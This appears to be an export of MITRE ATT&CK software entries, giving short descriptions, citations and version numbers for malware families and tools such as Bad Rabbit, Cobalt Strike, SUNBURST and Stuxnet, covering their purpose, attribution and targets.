Description: [Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)
Current version: 1.1
Description: [Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)
Current version: 1.0
Description: [BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)
Current version: 1.0
Description: [BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)
Current version: 1.0
Description: [BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)
Current version: 1.1
Description: [BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)
Current version: 1.0
Description: [BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
Current version: 1.0
Description: [BoxCaon](https://attack.mitre.org/software/S0651) is a Windows backdoor that was used by [IndigoZebra](https://attack.mitre.org/groups/G0136) in a 2021 spearphishing campaign against Afghan government officials. [BoxCaon](https://attack.mitre.org/software/S0651)'s name stems from similarities shared with the malware family [xCaon](https://attack.mitre.org/software/S0653).(Citation: Checkpoint IndigoZebra July 2021)
Current version: 1.0
Description: [CSPY Downloader](https://attack.mitre.org/software/S0527) is a tool designed to evade analysis and download additional payloads used by [Kimsuky](https://attack.mitre.org/groups/G0094).(Citation: Cybereason Kimsuky November 2020)
Current version: 1.0
Description: [Caterpillar WebShell](https://attack.mitre.org/software/S0572) is a self-developed Web Shell tool created by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123).(Citation: ClearSky Lebanese Cedar Jan 2021)
Current version: 1.0
Description: [Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)
Current version: 1.0
Description: [Clop](https://attack.mitre.org/software/S0611) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://attack.mitre.org/software/S0611) is a variant of the CryptoMix ransomware.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)(Citation: Unit42 Clop April 2021)
Current version: 1.7
Description: [Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual) In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual)
Current version: 1.0
Description: [Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)
Current version: 1.0
Description: [ConnectWise](https://attack.mitre.org/software/S0591) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://attack.mitre.org/groups/G0069) and [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) to connect to and conduct lateral movement in target environments.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)
Current version: 1.1
Description: [Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service that was first observed in December 2019, and has being distributed via [TrickBot](https://attack.mitre.org/software/S0266). It has been used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)
Current version: 1.0
Description: [CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)
Current version: 1.0
Description: [Crutch](https://attack.mitre.org/software/S0538) is a backdoor designed for document theft that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2015.(Citation: ESET Crutch December 2020)
Current version: 1.0
Description: [Cuba](https://attack.mitre.org/software/S0625) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.(Citation: McAfee Cuba April 2021)
Current version: 1.0
Description: [DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)
Current version: 1.0
Description: [Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [Ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)
Current version: 1.1
Description: [DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)
Current version: 1.0
Description: [Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)
Current version: 1.0
Description: [ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)
Current version: 1.0
Description: [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant that first appeared in mid-December 2019. [EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)
Current version: 1.0
Description: [EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group [Evilnum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)
Current version: 1.0
Description: [Ecipekac](https://attack.mitre.org/software/S0624) is a multi-layer loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2019 including use as a loader for [P8RAT](https://attack.mitre.org/software/S0626), [SodaMaster](https://attack.mitre.org/software/S0627), and [FYAnti](https://attack.mitre.org/software/S0628).(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [Egregor](https://attack.mitre.org/software/S0554) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)
Current version: 1.0
Description: [EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
Current version: 1.0
Description: [Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)
Current version: 1.0
Description: [FIVEHANDS](https://attack.mitre.org/software/S0618) is a customized version of [DEATHRANSOM](https://attack.mitre.org/software/S0616) ransomware written in C++. [FIVEHANDS](https://attack.mitre.org/software/S0618) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT](https://attack.mitre.org/software/S0615).(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)
Current version: 1.0
Description: [FYAnti](https://attack.mitre.org/software/S0628) is a loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2020, including to deploy [QuasarRAT](https://attack.mitre.org/software/S0262).(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the SolarWinds cyber intrusion by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)
Current version: 1.0
Description: [GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go that was used by [APT29](https://attack.mitre.org/groups/G0016) and discovered in early 2021 during the investigation into breaches related to the SolarWinds intrusion. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)
Current version: 1.0
Description: [Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)
Current version: 1.0
Description: [GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)
Current version: 2.0
Description: [GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)
Current version: 1.0
Description: [HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)
Current version: 1.1
Description: [Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). (Citation: Unit 42 Hildegard Malware)
Current version: 1.0
Description: [HyperStack](https://attack.mitre.org/software/S0537) is a RPC-based backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2018. [HyperStack](https://attack.mitre.org/software/S0537) has similarities to other backdoors used by [Turla](https://attack.mitre.org/groups/G0010) including [Carbon](https://attack.mitre.org/software/S0335).(Citation: Accenture HyperStack October 2020)
Current version: 1.0
Description: [Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)
Current version: 1.0
Description: [IronNetInjector](https://attack.mitre.org/software/S0581) is a [Turla](https://attack.mitre.org/groups/G0010) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT](https://attack.mitre.org/software/S0126).(Citation: Unit 42 IronNetInjector February 2021 )
Current version: 1.0
Description: [JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)
Current version: 1.0
Description: [Javali](https://attack.mitre.org/software/S0528) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)
Current version: 1.0
Description: [KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing "KGH".(Citation: Cybereason Kimsuky November 2020)
Current version: 2.0
Description: [Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)
Current version: 1.0
Description: [KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)
Current version: 1.1
Description: [Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)
Current version: 1.0
Description: [Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://attack.mitre.org/software/S0641) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://attack.mitre.org/software/S0641) was first identified in late 2019.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)
Current version: 1.0
Description: [LiteDuke](https://attack.mitre.org/software/S0513) is a third stage backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016), primarily in 2014-2015. [LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)
Current version: 1.0
Description: [LookBack](https://attack.mitre.org/software/S0582) is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack](https://attack.mitre.org/software/S0582).(Citation: Proofpoint LookBack Malware Aug 2019)(Citation: Dragos TALONITE)(Citation: Dragos Threat Report 2020)
Current version: 1.1
Description: [Lucifer](https://attack.mitre.org/software/S0532) is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.(Citation: Unit 42 Lucifer June 2020)
Current version: 1.0
Description: [MarkiRAT](https://attack.mitre.org/software/S0652) is a remote access Trojan (RAT) compiled with Visual Studio that has been used by [Ferocious Kitten](https://attack.mitre.org/groups/G0137) since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)
Current version: 1.0
Description: [MegaCortex](https://attack.mitre.org/software/S0576) is ransomware that first appeared in May 2019. (Citation: IBM MegaCortex) [MegaCortex](https://attack.mitre.org/software/S0576) has mainly targeted industrial organizations. (Citation: FireEye Ransomware Disrupt Industrial Production)(Citation: FireEye Financial Actors Moving into OT)
Current version: 1.0
Description: [Melcoz](https://attack.mitre.org/software/S0530) is a banking trojan family built from the open source tool Remote Access PC. [Melcoz](https://attack.mitre.org/software/S0530) was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.(Citation: Securelist Brazilian Banking Malware July 2020)
Current version: 1.0
Description: [MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)
Current version: 1.0
Description: [NBTscan](https://attack.mitre.org/software/S0590) is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)(Citation: Symantec Waterbug Jun 2019)(Citation: FireEye APT39 Jan 2019)
Current version: 1.0
Description: [NativeZone](https://attack.mitre.org/software/S0637) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)
Current version: 1.0
Description: [Nebulae](https://attack.mitre.org/software/S0630) Is a backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)
Current version: 1.0
Description: [ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)
Current version: 1.0
Description: [Out1](https://attack.mitre.org/software/S0594) is a remote access tool written in python and used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021.(Citation: Trend Micro Muddy Water March 2021)
Current version: 1.0
Description: [P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)
Current version: 1.0
Description: [P8RAT](https://attack.mitre.org/software/S0626) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [PS1](https://attack.mitre.org/software/S0613) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)
Current version: 1.0
Description: [Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)
Current version: 1.0
Description: [Penquin](https://attack.mitre.org/software/S0587) is a remote access trojan (RAT) with multiple versions used by [Turla](https://attack.mitre.org/groups/G0010) to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)
Current version: 1.0
Description: [Peppy](https://attack.mitre.org/software/S0643) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson](https://attack.mitre.org/software/S0115).(Citation: Proofpoint Operation Transparent Tribe March 2016)
Current version: 1.0
Description: [ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)
Current version: 1.0
Description: [Pysa](https://attack.mitre.org/software/S0583) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.(Citation: CERT-FR PYSA April 2020)
Current version: 1.0
Description: [QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)
Current version: 1.1
Description: [Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)
Current version: 1.0
Description: [RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)
Current version: 1.0
Description: [RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)
Current version: 1.0
Description: [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified "sophisticated cyber actor" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020) In October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as "IAmTheKing".(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as "PowerPool".(Citation: ESET PowerPool Code October 2020)
Current version: 1.0
Description: [SMOKEDHAM](https://attack.mitre.org/software/S0649) is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)
Current version: 2.1
Description: [SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)
Current version: 1.1
Description: [SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021)
Current version: 1.0
Description: [SUPERNOVA](https://attack.mitre.org/software/S0578) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29](https://attack.mitre.org/groups/G0016)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://attack.mitre.org/software/S0578) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)
Current version: 1.0
Description: [Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021. (Citation: Trend Micro Ransomware February 2021)
Current version: 1.0
Description: [ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017)
Current version: 1.1
Description: [SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)
Current version: 1.0
Description: [Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the SolarWinds cyber intrusion campaign.(Citation: MSTIC NOBELIUM Mar 2021)
Current version: 1.0
Description: [SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)
Current version: 1.0
Description: [Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://attack.mitre.org/software/S0623) was first observed in March 2021.(Citation: Unit 42 Siloscape Jun 2021)
Current version: 1.0
Description: [Sliver](https://attack.mitre.org/software/S0633) is an open source, cross-platform, red team command and control framework written in Golang.(Citation: Bishop Fox Sliver Framework August 2019)
Current version: 1.0
Description: [SodaMaster](https://attack.mitre.org/software/S0627) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [SombRAT](https://attack.mitre.org/software/S0615) is a modular backdoor written in C++ that has been in use since at least 2019. [SombRAT](https://attack.mitre.org/software/S0615) has been used to download and execute malicious payloads, including [FIVEHANDS](https://attack.mitre.org/software/S0618) ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)
Current version: 1.1
Description: [Spark](https://attack.mitre.org/software/S0543) is a Windows backdoor and has been in use since as early as 2017.(Citation: Unit42 Molerat Mar 2020)
Current version: 1.0
Description: [SpicyOmelette](https://attack.mitre.org/software/S0646) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://attack.mitre.org/groups/G0080) since at least 2018.(Citation: Secureworks GOLD KINGSWOOD September 2018)
Current version: 1.0
Description: [Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)
Current version: 1.0
Description: [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://attack.mitre.org/groups/G0032). It was first reported in May 2020.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)
Current version: 1.1
Description: [TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)
Current version: 1.0
